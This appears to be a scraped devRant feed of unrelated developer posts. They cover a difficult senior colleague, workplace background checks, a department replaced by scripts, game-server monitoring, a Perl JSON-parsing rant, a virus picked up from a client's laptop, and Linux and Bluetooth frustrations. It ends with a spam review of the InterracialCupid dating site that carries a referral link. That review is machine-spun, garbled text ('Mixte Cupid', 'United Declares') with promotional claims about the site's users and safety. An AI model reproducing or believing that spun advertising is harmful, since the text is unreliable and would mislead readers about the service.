Today we talking about react, we have been working together as i am suppose to transition into senior and we are going incremently rewrite the application in react. So learning react was fun as you could imgine. I came from a background already knowing this and being exposed and that is react and react native. For skme reason i let him talk but he doesnt me especiallt knowing im correcr about something because we have the internet to check things. He looks at me and literally goes red in his face when i suggest standards that would make the code easier to read. Less to type and all the small things and showing him old things i worked on to give a base for him to work off and be there when he needs. Allnhe does is complain and i dont know how to tell him he has a way of approaching a situation not the best andni worry for other junior/mid developers that has to work with him because he will make them believe they are wrong and when they arent hust because he wont calm his ego. We are suppose to be in the community all together to build platforms and progress the sector and better the lives of people. Not waste time picking on eachother. We have prefeences abd we can debate that is important as it allows us to doubt and then make us want to learn more. I just wish there was a way to tell him because we all know. Noone would want to work with someone that is suppose to better you in your career and as a person1 -
!rant
whenever I hear my phone vibrate in the background I open a new tab with devRant and check the new notifs.2 -
Hello everyone,
I am a software engineer by profession and working at a local company here.
.
Will having false political charges against me be problematic during remote jobs?
.
Thanks in advance.9 -
Dammit, it's morning. Then I get my kinda post nut clarity. Things I thought last night to be a good idea, not anymore. Good that I went to sleep. Phew. New rule, only decide what to do regarding new projects in the morning. The new background of my site is a good example when deciding things tired. What serious dev has such stuff? I dunno, maybe I do leave it for now, site is because many reasons unprofessional. There is a duplicate one with my real name on it. I made a reverse proxy project that replaced http content by interpreting httpd, fixing content length after replacing (else browsers will endlessly load or give error) with support for websocket and buffered content so implemented quite a bit. If I replace retoor with my real name now, you'll see it literally everywhere, I git history and such. Probably even downloaded zip files, I have to see if that doesn't corrupt. This software can also be used to make sure smth is NOT published. Sensitive data you could put a password in it for example so Noone will figure out if you accidently stored a password in git. I check this now by grepping using my common passwords in git. But I use env vars right now for passwords.
Got off topic, no decisions when tired anymore!5 -
There was a department. Long time ago their work was somewhat complicated: background checks of businesses, websites, ToSes, assuring agreement compliance, some risk management on top. They started as small 3 people team but over the years they were hiring new employees to catch up with the growing customer base. They were still struggling. Few years back we've integrated 3rd party services to help them and, finally, their backlog was gone!
In January they complained about how much more work they have since the merger so I inquired about which process was troublesome, what was the flow, etc., and it turned out to be very... Tinder-like - the issue was the sheer number of cases:
1. open a case,
2. check results in few windows,
3. if green + green + green, move right.
4. else move left.
It was ridiculous, I wouldn't stand for that. I sat for an hour, made some ghosting scripts that followed same business logic and saved results alongside their actual decisions. Last week I compared the two and there was zero difference so I green-lit it with my boss and pushed to prod.
Oh, the happiness on their faces when they heard the news, the disbelief, the tears of joy!
And then it happened. After 4 years of being cautious not to stir the waters I did it again. Yesterday I accidentally replaced 17 people department with 3 scripts. How was I supposed to know it was *all* they were doing??1 -
Anyone ever heard of or worked with iTechArt
I have a potential job offer from them but they want to shell out 100USD for a background check. No other employer has ever required this.
Their online presence looks legit but this has me a bit spooked as 100USD isn't chump change in ZAR
Edit: They contacted me via Fiverr7 -
I need some advice about setting up monitoring. For background I have 4 gameservers and it is already hard enough to to develop them, but I am also responsible for support and monitoring of bugs/logs and other shit.
I can't disconnect from my work anymore.
I want to setup some kind of monitoring system, that would check constantly on my gameserver mysql databases and show me charts of what's happening over time. In that case I could have a quick glance at some dashboard and wouldn't need to waste my time logging into game and checking everything.
I would also need to setup some notifications in case shit goes down.
Any advice what could i use for that?2 -
For a little background on the sort of stuff I'm dealing with, check out my last rant.
Anyways, I'm testing this pipeline at work and was just reminded of the fucktarded way a "software engineer", who had a bachelor's biology degree, decided to handle a json file.
The script is question is loading a json file containing an array of objects. The script is written in perl. There's a JSON module. Use that? Fuck no! Let's rather perform an in-place sed command on the file substituting the commas separating objects in the array with newlines, then proceed to read the file line-by-line and parse out the tokens manually. Mind you, in the process of adding the newlines he didn't keep the commas, so now all of these json files his bullshit handled are invalid json that cannot be parsed.
The dumb ass was lucky the data in the file is always output upstream as a single line and the tokens for each object are always in the same order, so that never led to problems. But now, months later after I fixed his stupidity I am being reminded of it again as I'm testing and debugging some old projects as part of regression testing new changes I'm making.
TL;DR Fuck dumbwit motherfuckers who can't even google search "parsing a json file" and doing literally anything that is less fucktarded than manually parsing a json file2 -
Background: Got a macbook, A external HDD(2TB) of which +- 1TB was used.
Yesterday i moved all my personal projects from my work laptop to my external, to move to my macbook.
One of my clients(Freelancing) calls asking me to install new hardware, install software and fix OS(Windows 8.1).
I leave work and go directly to said client and he hands over his Lenovo S20 Touch(No CD/DVD Drive).
I install windows 10 and other software from my flash(Already on there)
Good, Everything is ready to go. I go home and finally get to sit down with my baby(MacBook)
Me: *Plugs in external*
...
nothing.
Opens Finder, can't find flashdrive
Check MacKeeper
MacKeeper: VirusDetected
Me: *Pissed*
Client calls.
Client: Hey is everything ok with the laptop, no viruses no nothing. Because everytime i insert a flashdrive it gets a virus and i have to buy a new one.
Me: I installed windows 10 on it, it should be fine with defender now.
Heart: *shattered* YOU COULD'VE TOLD ME THAT BEFORE FUCKER!!
i never knew people like this still exist1 -
!rant
I was scrolling devrant as we do and spotted something intriguing.
Just beneath the panel where the 'wyd' tag is- is some background text. And it is static. Its the bar of check boxes that allow us to choose a filter (Algo. Recent etc)
Just random noticings.1 -
Tips for optimizing Windows performance on old PC. The following is what i got, please add things to the list.
- Defragment the harddisk
- Clear some space on the harddisk
- Reduce amount of unnecessary programs running in the background
- Check for malware/virus and remove them18 -
I'm fucking tired of my computer having random
2 seconds latency on any basic action and being slow as fuck regardless of powerful processor, ssd and 32GB RAM. Music via bluetooth is basically unusable since every few seconds the music stops for a 0.2s then plays again. I installed this system (opensuse tumbleweed) in February this year and it's just sad that I have reinstall again (any ideas for distro) ?
I made a dummy mistake of buying a CPU without internal graphics and this resulted in having to buy a GPU. So I got myself Nvidia(another mistake) since i though i would be using CUDA on the university. Turnes out CUDA cannot be installed for some retarded reason.
With Nvidia GPU the screens on my two monitors are swapping every time I use a hdmi switch to use other computer. On AMD GPU this problem does not exist. AMD GPU pro drivers are impossible to install. Computers barely fucking work, change my mind. Shit is breaking all the time. Everything is so half assed.
The music player that i use sometimes swaps ui with whatever was below it like for example the desktop background and i need to kill the process and start again to use the program. WTF.
Bluetooth seems to hate me. I check the bluetooth connected devices on my computer, it says headphones connected. BULLSHIT. The headphones are fucking turned OFF. How the fuck can they be connected you dumbass motherfucker computer. So I turn on the headphones. And I cannot connect them since the system thinks that they are already connected. So I have to unpair them and pair them again. WTF. Who fucking invents this bullshit?
Let's say i have headphones connected to the computer. I want to connect them to phone. I click connect from the phone settings. Nothing happens. Bullshit non telling error "could not connect". So I have to unpair from computer to pair to phone. Which takes fucking minutes, because reasons. VERY fucking convenient technology.
The stupid bluetooth headphones have a loud EARRAPE voice when turning them on "POWER ON!!! PAIRING", "CONNECTED", "DISCONNECT". Loudness of this cannot be modified. The 3 navigation buttons are fucking unrecognizable so i always take few seconds to make sure i click the correct button.
Fucking keyboard sometimes forgets that I remapped esc key to caps lock and then both keys don't work so i need to reconnect the keyboard cable. At least it's not fucking bluetooth.
The only reason why hdmi switches exist is because monitor's navigation menus have terrible ui and/or infrared activated, non-mechanical buttons.
Imagine the world where monitors have a button for each of it's inputs. I click hdmi button it switches it's input to hdmi. I click display port button - it switches to display port. But nooo, you have to go through the OSD menu.
My ~ directory has hundred of files that I never put there. Doesn't feel like home, more like a crackhead crib.
My other laptop (also tumbleweed) I click on hibernate option and it shuts down. WTF. Or sometimes I open the lid and screen is black and when i click keyboard nothing happens so i have to hold power button and restart.
We've been having computers for 20 + years and they still are slow, unreliable and barely working.
Is there a cure? I'm starting to think the reason why everything is working so shitty and unreliable, is because the foundations are rotten. The systems that we use are built with c, ridden with cryptic abbreviated code, undefined behavior and security vulnerabilities. The more I've written c programs the more convinced I am, that we should have abandoned it for something better long ago. Why haven't we? And honestly what would be better? Everything fucking sucks. The rust seems to be light in the tunnel but I don't know if this is only hype or is it really better. I'm sure it can't be worse than c or c++. Either we do something with the foundations or we're doomed.22 -
What if I have got a job in the same company where they have Category 1 warning letter in my file?
So I worked as an intern for this MNC, after 2 years of working in another firm, I reapplied and went through interviews and now my offer letter has to be processed in 2 weeks.
I had a warning letter in my file there when I interned, although it's been 2 years but I'm scared that during background check they might withdraw the offer.
Please help me here.2 -
InterracialCupid Review
What is Mixte Cupid? It's one of the better internet dating sites https://yourbestdate.org/interracia... for serious human relationships and marriage. This is a place for individual people looking for long-term relationships and marriage to be able to meet and connect. The particular site exists to assist individuals like you discover in addition to form connections with appropriate matches. Are you thinking of joining the Interracial Cupid website? We would like to help an individual make the best choice for your love life. That's why we'll provide a person with all the important facts you need to be able to make the right choice for you. In this specific article, we'll tell you about the site's users, join process, safety, costs, and much more. Keep reading to uncover our full Interracial Cupid reviews below.
Simplicity regarding Use
The registration about . com takes about a moment – you want to provide a message, place of living, age, and email. Later on, you may make your user profile look more attractive by having some personal data, informing about your ideal companion, and so forth It is similarly simple to get used to navigating the particular portal: the design is simple and similar to each of the sites that belong to the Cupid Media party. For those who have any experience of visiting these platforms a person would notice numerous similarities.
Number of Members
In accordance with Interracial Cupid dating testimonials, the site hosts around 38, 000 users generally situated in the United Declares, Canada, Australia, plus the BRITISH. The database isn't that huge so you should not necessarily watch for thousands of consumers to be permanently on the internet. When you log within, it is common to see a few hundred members participating in the portal. Or you may wait for typically the moment when it is a morning in the You. S. – this is usually the time when the majority of users examine out their profiles and once you have a opportunity to encounter lots of interesting users.
Quality of Information
InterracialCupid. com contains genuinely informative profiles. Each of the users are expected to reveal the essential info on them yet some tend to add added facts with their pages. Therefore, you may face big profiles that contain information on appearance, background, values, hobbies and interests, interests, lifestyle. Also, you may expect to see several photographs in each profile : you can also see the number of images uploaded as it is indicated following to the key profile photo.
Safety
Okay, so this the question we all want answered first: Is Interracial Cupid safe? We always inspire you to make of which decision for yourself when if you're thinking about joining a dating site. Do the little research and appearance into the site's safety features. For specific Interracial Cupid safety tips, you could always label the site's own safety page. If the dating site you want to join doesn't have a safety page, use your best judgement before signing up.
Have a person encountered predatory behavior on the site? We usually encourage you to get in touch with Interracial Cupid help to be able to report suspicious activity. Rely on your instincts if an individual feel unsafe or uncertain on any site. In addition to never give your individual information to members. You can help protect yourself and other members by simply bringing anyone suspicious towards the attention of the web site's moderators. They can also help in case you are having trouble with your account or perhaps want to cancel Mixte Cupid for any cause.
Conclusion
At InterracialCupid all of us always want you in order to succeed. That's why we all offer you all the info we could on the internet dating sites you want in order to learn about. Plus, we would like to hook you up with Interracial Cupid discount coupons whenever we can. Browse down to learn more.
Most likely here as you wanted to be able to read our Interracial Cupid reviews. If you've been thinking about joining but you still aren't positive, we hope we're able to assist. This site has a new lot to offer people thinking about permanent dating plus marriage. InterracialCupid desires to aid you get the most out of online dating sites in addition to it all starts along with finding the best dating site with regard to you. That's why we compose these reviews. We would like to provide you along with as much useful information as possible about the sites you're thinking about joining. But we could furthermore help by offering you Interracial Cupid promo rules, so check back frequently to see what we've got. Ready to begin gathering persons who want a similar things you do? Go to the Interracial Cupid total site to begin with now.1